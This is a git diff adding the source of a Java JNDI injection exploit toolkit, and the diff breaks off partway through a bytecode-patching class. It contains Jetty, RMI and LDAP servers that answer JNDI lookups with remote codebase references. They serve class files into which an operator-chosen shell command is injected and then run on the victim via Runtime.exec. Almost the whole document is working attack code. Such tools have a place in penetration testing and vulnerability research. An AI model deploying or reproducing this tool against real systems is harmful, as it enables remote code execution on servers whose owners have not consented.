diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..651d229
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,136 @@
+
+
+ 4.0.0
+
+ welk1n
+ JNDI-Injection-Exploit
+ 1.0-SNAPSHOT
+
+
+ UTF-8
+ 8.1.9.v20130131
+
+
+
+
+
+
+ org.ow2.asm
+ asm
+ 7.1
+
+
+
+ org.javassist
+ javassist
+ 3.19.0-GA
+
+
+
+ org.reflections
+ reflections
+ 0.9.9
+
+
+
+ org.slf4j
+ slf4j-nop
+ 1.7.24
+
+
+
+ org.apache.commons
+ commons-lang3
+ 3.4
+
+
+
+ commons-cli
+ commons-cli
+ 1.3
+
+
+
+
+
+ com.unboundid
+ unboundid-ldapsdk
+ 3.1.1
+
+
+
+
+ org.eclipse.jetty.aggregate
+ jetty-webapp
+ ${jetty.version}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ junit
+ junit
+ 4.12
+ test
+
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+
+ 1.7
+
+
+
+
+ maven-assembly-plugin
+ 2.5.5
+
+ ${project.artifactId}-${project.version}-all
+ false
+
+ jar-with-dependencies
+
+
+
+ run.ServerStart
+
+
+
+
+
+ make-assembly
+ package
+
+ single
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/java/jetty/JettyServer.java b/src/main/java/jetty/JettyServer.java
new file mode 100644
index 0000000..bcc768b
--- /dev/null
+++ b/src/main/java/jetty/JettyServer.java
@@ -0,0 +1,113 @@
+package jetty;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.servlet.ServletHandler;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import java.net.URLEncoder;
+
+import static run.ServerStart.getLocalTime;
+import static util.Transformers.insertCommand;
+
+/**
+ * @Classname JettyServer
+ * @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec()
+ * @Author welkin
+ */
+public class JettyServer implements Runnable{
+ private int port;
+ private Server server;
+ private static String command;
+
+// public JettyServer(int port) {
+// this.port = port;
+// server = new Server(port);
+// command = "open /Applications/Calculator.app";
+// }
+
+ public JettyServer(int port,String cmd) {
+ this.port = port;
+ server = new Server(port);
+ command = cmd;
+ }
+
+ @Override
+ public void run() {
+ ServletHandler handler = new ServletHandler();
+ server.setHandler(handler);
+
+ handler.addServletWithMapping(DownloadServlet.class, "/*");
+ try {
+ server.start();
+ server.join();
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+
+ }
+
+ @SuppressWarnings("serial")
+ public static class DownloadServlet extends HttpServlet {
+ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
+
+ String filename = request.getRequestURI().substring(1);
+ InputStream in = checkFilename(filename);
+ byte[] transformed;
+ ByteArrayInputStream bain = null;
+
+ if (in != null) {
+ try {
+ transformed = insertCommand(in,command);
+ bain = new ByteArrayInputStream(transformed);
+
+ }catch (Exception e){
+ e.printStackTrace();
+ System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed.");
+ }
+
+ System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL());
+ response.setStatus(HttpServletResponse.SC_OK);
+ response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8"));
+
+ int len ;
+ byte[] buffer = new byte[1024];
+ OutputStream out = response.getOutputStream();
+ if (bain != null){
+ while ((len = bain.read(buffer)) > 0) {
+ out.write(buffer,0,len);
+ }
+ bain.close();
+ }else {
+ System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!");
+ }
+ }else {
+ System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!");
+ }
+ }
+
+ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
+ doGet(request, response);
+ }
+ }
+
+ private static InputStream checkFilename(String filename){
+ String template;
+ switch (filename){
+ case "ExecTemplateJDK7.class":
+ template = "template/ExecTemplateJDK7.class";
+ break;
+ case "ExecTemplateJDK8.class":
+ template = "template/ExecTemplateJDK8.class";
+ break;
+ // TODO:Add more
+ default:
+ return null;
+ }
+ return Thread.currentThread().getContextClassLoader().getResourceAsStream(template);
+
+ }
+
+}
diff --git a/src/main/java/jndi/LDAPRefServer.java b/src/main/java/jndi/LDAPRefServer.java
new file mode 100644
index 0000000..4bdb8f6
--- /dev/null
+++ b/src/main/java/jndi/LDAPRefServer.java
@@ -0,0 +1,153 @@
+/* MIT License
+
+Copyright (c) 2017 Moritz Bechler
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+*/
+package jndi;
+
+
+import java.net.InetAddress;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import javax.net.ServerSocketFactory;
+import javax.net.SocketFactory;
+import javax.net.ssl.SSLSocketFactory;
+
+import com.unboundid.ldap.listener.InMemoryDirectoryServer;
+import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
+import com.unboundid.ldap.listener.InMemoryListenerConfig;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
+import com.unboundid.ldap.sdk.*;
+import util.Mapper;
+
+import static run.ServerStart.getLocalTime;
+
+
+/**
+ * LDAP jndi implementation returning JNDI references
+ *
+ * @author mbechler welkin
+ *
+ */
+public class LDAPRefServer implements Runnable{
+
+ private static final String LDAP_BASE = "dc=example,dc=com";
+ private int port;
+ private URL codebase_url;
+
+ public LDAPRefServer(int port, URL codebase_url) {
+ this.port = port;
+ this.codebase_url = codebase_url;
+ }
+
+ @Override
+ public void run () {
+// int port = 1389;
+
+// try {
+// Class.forName("util.Mapper");
+// }catch (ClassNotFoundException e){
+// e.printStackTrace();
+// }
+
+// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
+// System.err.println(LDAPRefServer.class.getSimpleName() + " []"); //$NON-NLS-1$
+// System.exit(-1);
+// }
+// else if ( args.length > 1 ) {
+// port = Integer.parseInt(args[ 1 ]);
+// }
+
+ try {
+ InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
+ config.setListenerConfigs(new InMemoryListenerConfig(
+ "listen", //$NON-NLS-1$
+ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
+ port,
+ ServerSocketFactory.getDefault(),
+ SocketFactory.getDefault(),
+ (SSLSocketFactory) SSLSocketFactory.getDefault()));
+
+ config.addInMemoryOperationInterceptor(new OperationInterceptor(this.codebase_url));
+ InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
+ System.out.println(getLocalTime() + " [LDAPSERVER] >> Listening on 0.0.0.0:" + port); //$NON-NLS-1$
+ ds.startListening();
+
+ }
+ catch ( Exception e ) {
+ e.printStackTrace();
+ }
+ }
+
+ private static class OperationInterceptor extends InMemoryOperationInterceptor {
+
+ private URL codebase;
+
+
+ /**
+ *
+ */
+ public OperationInterceptor ( URL cb ) {
+ this.codebase = cb;
+ }
+
+
+ /**
+ * {@inheritDoc}
+ *
+ * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
+ */
+ @Override
+ public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
+ String base = result.getRequest().getBaseDN();
+ Entry e = new Entry(base);
+ try {
+ sendResult(result, base, e);
+ }
+ catch ( Exception e1 ) {
+ e1.printStackTrace();
+ }
+
+ }
+
+
+ protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
+
+ String cbstring = this.codebase.toString();
+ String javaFactory = Mapper.references.get(base);
+
+ if (javaFactory != null){
+ URL turl = new URL(cbstring + javaFactory.concat(".class"));
+ System.out.println(getLocalTime() + " [LDAPSERVER] >> Send LDAP reference result for " + base + " redirecting to " + turl);
+ e.addAttribute("javaClassName", "foo");
+ e.addAttribute("javaCodeBase", cbstring);
+ e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
+ e.addAttribute("javaFactory", javaFactory);
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ }else {
+ System.out.println(getLocalTime() + " [LDAPSERVER] >> Reference that matches the name(" + base + ") is not found.");
+ }
+ }
+
+ }
+}
diff --git a/src/main/java/jndi/RMIRefServer.java b/src/main/java/jndi/RMIRefServer.java
new file mode 100644
index 0000000..42c27ab
--- /dev/null
+++ b/src/main/java/jndi/RMIRefServer.java
@@ -0,0 +1,431 @@
+package jndi;
+
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.ObjectStreamClass;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.lang.reflect.Field;
+import java.net.InetSocketAddress;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.net.SocketException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.rmi.MarshalException;
+import java.rmi.server.ObjID;
+import java.rmi.server.RemoteObject;
+import java.rmi.server.UID;
+import java.util.Arrays;
+
+import javax.naming.Reference;
+import javax.net.ServerSocketFactory;
+
+import com.sun.jndi.rmi.registry.ReferenceWrapper;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import util.Mapper;
+import util.Reflections;
+import sun.rmi.server.UnicastServerRef;
+import sun.rmi.transport.TransportConstants;
+
+import static run.ServerStart.getLocalTime;
+
+
+/**
+ * Generic JRMP listener
+ *
+ * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
+ *
+ * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
+ *
+ * @author mbechler welkin
+ *
+ */
+@SuppressWarnings ( {
+ "restriction"
+} )
+public class RMIRefServer implements Runnable {
+
+ private int port;
+ private ServerSocket ss;
+ private Object waitLock = new Object();
+ private boolean exit;
+ private boolean hadConnection;
+ private URL classpathUrl;
+
+
+ public RMIRefServer ( int port, URL classpathUrl ) throws IOException {
+ this.port = port;
+ this.classpathUrl = classpathUrl;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
+ }
+
+
+ public boolean waitFor ( int i ) {
+ try {
+ if ( this.hadConnection ) {
+ return true;
+ }
+ System.out.println(getLocalTime() + " [RMISERVER] >> Waiting for connection");
+ synchronized ( this.waitLock ) {
+ this.waitLock.wait(i);
+ }
+ return this.hadConnection;
+ }
+ catch ( InterruptedException e ) {
+ return false;
+ }
+ }
+
+
+ /**
+ *
+ */
+ public void close () {
+ this.exit = true;
+ try {
+ this.ss.close();
+ }
+ catch ( IOException e ) {}
+ synchronized ( this.waitLock ) {
+ this.waitLock.notify();
+ }
+ }
+
+
+ public static final void main ( final String[] args ) {
+ int port = 1099;
+// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
+// System.err.println(RMIRefServer.class.getName() + " []");
+// System.exit(-1);
+// return;
+// }
+// if ( args.length >= 2 ) {
+// port = Integer.parseInt(args[ 1 ]);
+// }
+
+ //trigger static code in Mapper
+ try {
+ Class.forName("util.Mapper");
+ }catch (ClassNotFoundException e){
+ e.printStackTrace();
+ }
+
+ try {
+ System.out.println(getLocalTime() + " [RMISERVER] >> Opening JRMP listener on " + port);
+ RMIRefServer c = new RMIRefServer(port, new URL("http://testlocal.com:8080/"));
+ c.run();
+ } catch ( Exception e ) {
+ System.out.println(getLocalTime() + " [RMISERVER] >> Listener error");
+ e.printStackTrace(System.err);
+ }
+ }
+
+
+ @Override
+ public void run () {
+ try {
+ @SuppressWarnings ( "resource" )
+ Socket s = null;
+ try {
+ while ( !this.exit && ( s = this.ss.accept() ) != null ) {
+ try {
+ s.setSoTimeout(5000);
+ InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
+ System.out.println(getLocalTime() + " [RMISERVER] >> Have connection from " + remote);
+
+ InputStream is = s.getInputStream();
+ InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
+
+ // Read magic (or HTTP wrapper)
+ bufIn.mark(4);
+ try ( DataInputStream in = new DataInputStream(bufIn) ) {
+ int magic = in.readInt();
+
+ short version = in.readShort();
+ if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
+ s.close();
+ continue;
+ }
+
+ OutputStream sockOut = s.getOutputStream();
+ BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
+ try ( DataOutputStream out = new DataOutputStream(bufOut) ) {
+
+ byte protocol = in.readByte();
+ switch ( protocol ) {
+ case TransportConstants.StreamProtocol:
+ out.writeByte(TransportConstants.ProtocolAck);
+ if ( remote.getHostName() != null ) {
+ out.writeUTF(remote.getHostName());
+ }
+ else {
+ out.writeUTF(remote.getAddress().toString());
+ }
+ out.writeInt(remote.getPort());
+ out.flush();
+ in.readUTF();
+ in.readInt();
+ case TransportConstants.SingleOpProtocol:
+ doMessage(s, in, out);
+ break;
+ default:
+ case TransportConstants.MultiplexProtocol:
+ System.out.println(getLocalTime() + " [RMISERVER] >> Unsupported protocol");
+ s.close();
+ continue;
+ }
+
+ bufOut.flush();
+ out.flush();
+ }
+ }
+ }
+ catch ( InterruptedException e ) {
+ return;
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ finally {
+ System.out.println(getLocalTime() + " [RMISERVER] >> Closing connection");
+ s.close();
+ }
+
+ }
+
+ }
+ finally {
+ if ( s != null ) {
+ s.close();
+ }
+ if ( this.ss != null ) {
+ this.ss.close();
+ }
+ }
+
+ }
+ catch ( SocketException e ) {
+ return;
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+
+ private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {
+ System.out.println(getLocalTime() + " [RMISERVER] >> Reading message...");
+
+ int op = in.read();
+
+ switch ( op ) {
+ case TransportConstants.Call:
+ // service incoming RMI call
+ doCall(in, out);
+ break;
+
+ case TransportConstants.Ping:
+ // send ack for ping
+ out.writeByte(TransportConstants.PingAck);
+ break;
+
+ case TransportConstants.DGCAck:
+ UID.read(in);
+ break;
+
+ default:
+ throw new IOException(getLocalTime() + " [RMISERVER] >> unknown transport op " + op);
+ }
+
+ s.close();
+ }
+
+
+ private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
+ ObjectInputStream ois = new ObjectInputStream(in) {
+
+ @Override
+ protected Class> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
+ if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) {
+ return ObjID[].class;
+ }
+ else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) {
+ return ObjID.class;
+ }
+ else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) {
+ return UID.class;
+ }
+ else if ( "java.lang.String".equals(desc.getName()) ) {
+ return String.class;
+ }
+ throw new IOException(getLocalTime() + " [RMISERVER] >> Not allowed to read object");
+ }
+ };
+
+ ObjID read;
+ try {
+ read = ObjID.read(ois);
+ }
+ catch ( IOException e ) {
+ throw new MarshalException(getLocalTime() + " [RMISERVER] >> unable to read objID", e);
+ }
+
+ if ( read.hashCode() == 2 ) {
+ // DGC
+ handleDGC(ois);
+ }
+ else if ( read.hashCode() == 0 ) {
+ if ( handleRMI(ois, out) ) {
+ this.hadConnection = true;
+ synchronized ( this.waitLock ) {
+ this.waitLock.notifyAll();
+ }
+ return;
+ }
+ }
+
+ }
+
+
+ /**
+ * @param ois
+ * @param out
+ * @throws IOException
+ * @throws ClassNotFoundException
+// * @throws NamingException
+ */
+ private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
+ int method = ois.readInt(); // method
+ ois.readLong(); // hash
+
+ if ( method != 2 ) { // lookup
+ return false;
+ }
+
+ String object = (String) ois.readObject();
+ System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
+
+ String cpstring = this.classpathUrl.toString();
+ String reference = Mapper.references.get(object);
+
+ if (reference == null) {
+ System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
+ return false;
+ }
+ URL turl = new URL(cpstring + "#" + reference);
+ out.writeByte(TransportConstants.Return);// transport op
+ try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
+
+ oos.writeByte(TransportConstants.NormalReturn);
+ new UID().write(oos);
+
+ System.out.println(
+ String.format(
+ getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
+ new URL(cpstring + reference.concat(".class"))));
+
+ ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
+ Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
+ Field refF = RemoteObject.class.getDeclaredField("ref");
+ refF.setAccessible(true);
+ refF.set(rw, new UnicastServerRef(12345));
+
+ oos.writeObject(rw);
+
+ oos.flush();
+ out.flush();
+ }
+ return true;
+ }
+
+
+ /**
+ * @param ois
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {
+ ois.readInt(); // method
+ ois.readLong(); // hash
+ System.out.println(getLocalTime() + " [RMISERVER] >> Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
+ }
+
+
+ @SuppressWarnings ( "deprecation" )
+ protected static Object makeDummyObject ( String className ) {
+ try {
+ ClassLoader isolation = new ClassLoader() {};
+ ClassPool cp = new ClassPool();
+ cp.insertClassPath(new ClassClassPath(Dummy.class));
+ CtClass clazz = cp.get(Dummy.class.getName());
+ clazz.setName(className);
+ return clazz.toClass(isolation).newInstance();
+ }
+ catch ( Exception e ) {
+ e.printStackTrace();
+ return new byte[0];
+ }
+ }
+
+ public static class Dummy implements Serializable {
+
+ private static final long serialVersionUID = 1L;
+
+ }
+
+ static final class MarshalOutputStream extends ObjectOutputStream {
+
+ private URL sendUrl;
+
+
+ public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {
+ super(out);
+ this.sendUrl = u;
+ }
+
+
+ MarshalOutputStream ( OutputStream out ) throws IOException {
+ super(out);
+ }
+
+
+ @Override
+ protected void annotateClass ( Class> cl ) throws IOException {
+ if ( this.sendUrl != null ) {
+ writeObject(this.sendUrl.toString());
+ }
+ else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
+ writeObject(null);
+ }
+ else {
+ URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
+ String cb = "";
+
+ for ( URL u : us ) {
+ cb += u.toString();
+ }
+ writeObject(cb);
+ }
+ }
+
+
+ /**
+ * Serializes a location from which to load the specified class.
+ */
+ @Override
+ protected void annotateProxyClass ( Class> cl ) throws IOException {
+ annotateClass(cl);
+ }
+ }
+}
diff --git a/src/main/java/run/ServerStart.java b/src/main/java/run/ServerStart.java
new file mode 100644
index 0000000..064b74c
--- /dev/null
+++ b/src/main/java/run/ServerStart.java
@@ -0,0 +1,149 @@
+package run;
+
+import jetty.JettyServer;
+import jndi.LDAPRefServer;
+import jndi.RMIRefServer;
+import org.apache.commons.cli.*;
+import org.apache.commons.lang3.StringUtils;
+
+import java.net.*;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Enumeration;
+
+import static util.Mapper.*;
+
+/**
+ * @Classname run.ServerStart
+ * @Description Start servers
+ * @Author Welkin
+ */
+public class ServerStart {
+ public static String addr = getLocalIpByNetcard();
+
+ //default ports
+ public static int rmiPort = 1099;
+ public static int ldapPort = 1389;
+ private static int jettyPort = 8180;
+
+ private String command ;
+ private URL codebase;
+
+ private JettyServer jettyServer;
+ private RMIRefServer rmiRefServer;
+ private LDAPRefServer ldapRefServer;
+
+ public static void main(String[] args) throws Exception{
+
+ CommandLineParser parser = new DefaultParser();
+ CommandLine cmd = null;
+ //default command
+ String[] cmdArray = {"open","/Applications/Calculator.app"};
+
+ try{
+ cmd = parser.parse(cmdlineOptions(),args);
+ }catch (Exception e){
+ System.err.println("Cmdlines parse failed.");
+ System.exit(1);
+ }
+ if(cmd.hasOption("C")) {
+ cmdArray = cmd.getOptionValues('C');
+ }
+ if(cmd.hasOption("A")) {
+ addr = cmd.getOptionValue('A');
+ }
+
+ ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));
+ System.out.println("[ADDRESS] >> " + addr);
+ System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
+ Class.forName("util.Mapper");
+
+ System.out.println("----------------------------Server Log----------------------------");
+ System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
+ Thread threadJetty = new Thread(servers.jettyServer);
+ threadJetty.start();
+
+ System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
+ Thread threadRMI = new Thread(servers.rmiRefServer);
+ threadRMI.start();
+
+ Thread threadLDAP = new Thread(servers.ldapRefServer);
+ threadLDAP.start();
+
+ }
+
+ public ServerStart(String cmd) throws Exception{
+ this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/");
+ this.command = cmd;
+
+ jettyServer = new JettyServer(jettyPort,command);
+ rmiRefServer = new RMIRefServer(rmiPort, codebase);
+ ldapRefServer = new LDAPRefServer(ldapPort,codebase);
+ }
+
+ public ServerStart(URL codebase, String cmd) throws Exception{
+ this.codebase = codebase;
+ this.command = cmd;
+
+ jettyServer = new JettyServer(jettyPort,command);
+ rmiRefServer = new RMIRefServer(rmiPort, this.codebase);
+ ldapRefServer = new LDAPRefServer(ldapPort,this.codebase);
+ }
+
+ public static Options cmdlineOptions(){
+ Options opts = new Options();
+ Option c = new Option("C",true,"The command executed in remote .class.");
+ c.setArgs(Option.UNLIMITED_VALUES);
+ opts.addOption(c);
+ Option addr = new Option("A",true,"The address of server(ip or domain).");
+ opts.addOption(addr);
+ return opts;
+ }
+
+ /**
+ * 直接根据第一个网卡地址作为其内网ipv4地址
+ *
+ * @return
+ */
+ public static String getLocalIpByNetcard() {
+ try {
+ for (Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
+ NetworkInterface item = e.nextElement();
+ for (InterfaceAddress address : item.getInterfaceAddresses()) {
+ if (item.isLoopback() || !item.isUp()) {
+ continue;
+ }
+ if (address.getAddress() instanceof Inet4Address) {
+ Inet4Address inet4Address = (Inet4Address) address.getAddress();
+ return inet4Address.getHostAddress();
+ }
+ }
+ }
+ return InetAddress.getLocalHost().getHostAddress();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Get current time
+ */
+ public static String getLocalTime(){
+ Date d = new Date();
+ DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ return sdf.format(d);
+ }
+
+ public static Boolean isLinux(){
+ return !System.getProperty("os.name").toLowerCase().startsWith("win");
+ }
+
+ public static String withColor(String str,String color){
+ if (isLinux()) {
+ return color + str + ANSI_RESET;
+ }
+ return str;
+ }
+
+}
diff --git a/src/main/java/util/Mapper.java b/src/main/java/util/Mapper.java
new file mode 100644
index 0000000..894d9c7
--- /dev/null
+++ b/src/main/java/util/Mapper.java
@@ -0,0 +1,48 @@
+package util;
+
+import org.apache.commons.lang3.RandomStringUtils;
+
+import static run.ServerStart.addr;
+import static run.ServerStart.rmiPort;
+import static run.ServerStart.ldapPort;
+import static run.ServerStart.withColor;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @Classname Mapper
+ * @Description Init the JNDI links
+ * @Author Welkin
+ */
+public class Mapper {
+
+ public final static Map references = new HashMap<>();
+ public final static Map instructions = new HashMap<>();
+ public static final String ANSI_RESET = "\u001B[0m";
+ public static final String ANSI_PURPLE = "\u001B[35m";
+ public static final String ANSI_RED = "\u001B[31m";
+ public static final String ANSI_BLUE = "\u001B[34m";
+
+
+ static {
+ references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"ExecTemplateJDK8");
+ references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"ExecTemplateJDK7");
+
+ instructions.put("ExecTemplateJDK8","Build in "+ withColor("JDK 1.8",ANSI_RED) +" and trustURLCodebase is true");
+ instructions.put("ExecTemplateJDK7","Build in "+ withColor("JDK 1.7",ANSI_RED) +" and trustURLCodebase is true");
+
+ System.out.println("----------------------------JNDI Links---------------------------- ");
+ for (String name : references.keySet()) {
+ String reference = references.get(name);
+ System.out.println("Target environment(" + instructions.get(reference) +"):");
+ System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
+ System.out.println(withColor("ldap://"+ addr +":"+ ldapPort +"/" + name, ANSI_PURPLE));
+ }
+ System.out.println();
+ }
+
+ public static void main(String[] args) {
+ System.out.println();
+ }
+}
diff --git a/src/main/java/util/Reflections.java b/src/main/java/util/Reflections.java
new file mode 100644
index 0000000..26c660b
--- /dev/null
+++ b/src/main/java/util/Reflections.java
@@ -0,0 +1,69 @@
+package util;
+
+import sun.reflect.ReflectionFactory;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+
+
+@SuppressWarnings ( "restriction" )
+public class Reflections {
+
+ public static Field getField ( final Class> clazz, final String fieldName ) throws Exception {
+ try {
+ Field field = clazz.getDeclaredField(fieldName);
+ if ( field != null )
+ field.setAccessible(true);
+ else if ( clazz.getSuperclass() != null )
+ field = getField(clazz.getSuperclass(), fieldName);
+
+ return field;
+ }
+ catch ( NoSuchFieldException e ) {
+ if ( !clazz.getSuperclass().equals(Object.class) ) {
+ return getField(clazz.getSuperclass(), fieldName);
+ }
+ throw e;
+ }
+ }
+
+
+ public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
+ final Field field = getField(obj.getClass(), fieldName);
+ field.set(obj, value);
+ }
+
+
+ public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception {
+ final Field field = getField(obj.getClass(), fieldName);
+ return field.get(obj);
+ }
+
+
+ public static Constructor> getFirstCtor ( final String name ) throws Exception {
+ final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[ 0 ];
+ ctor.setAccessible(true);
+ return ctor;
+ }
+
+
+ public static T createWithoutConstructor ( Class classToInstantiate )
+ throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+ return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
+ }
+
+
+ @SuppressWarnings ( {
+ "unchecked"
+ } )
+ public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes,
+ Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+ Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+ objCons.setAccessible(true);
+ Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+ sc.setAccessible(true);
+ return (T) sc.newInstance(consArgs);
+ }
+
+}
diff --git a/src/main/java/util/Transformers.java b/src/main/java/util/Transformers.java
new file mode 100644
index 0000000..8002244
--- /dev/null
+++ b/src/main/java/util/Transformers.java
@@ -0,0 +1,83 @@
+package util;
+
+import java.io.InputStream;
+import org.objectweb.asm.*;
+
+
+/**
+ * @Classname Transformers
+ * @Description Insert command to the template classfile
+ * @Author Welkin
+ */
+public class Transformers {
+
+ public static byte[] insertCommand(InputStream inputStream, String command) throws Exception{
+
+ ClassReader cr = new ClassReader(inputStream);
+ ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
+ ClassVisitor cv = new TransformClass(cw,command);
+
+ cr.accept(cv, 2);
+ return cw.toByteArray();
+ }
+
+ static class TransformClass extends ClassVisitor{
+
+ String command;
+
+ TransformClass(ClassVisitor classVisitor, String command){
+ super(Opcodes.ASM7,classVisitor);
+ this.command = command;
+ }
+
+ @Override
+ public MethodVisitor visitMethod(
+ final int access,
+ final String name,
+ final String descriptor,
+ final String signature,
+ final String[] exceptions) {
+ MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
+ if(name.equals("")){
+ return new TransformMethod(mv,command);
+ }else{
+ return mv;
+ }
+ }
+ }
+
+ static class TransformMethod extends MethodVisitor{
+
+ String command;
+
+ TransformMethod(MethodVisitor methodVisitor,String command) {
+ super(Opcodes.ASM7, methodVisitor);
+ this.command = command;
+ }
+
+ @Override
+ public void visitCode(){
+
+ Label label0 = new Label();
+ Label label1 = new Label();
+ Label label2 = new Label();
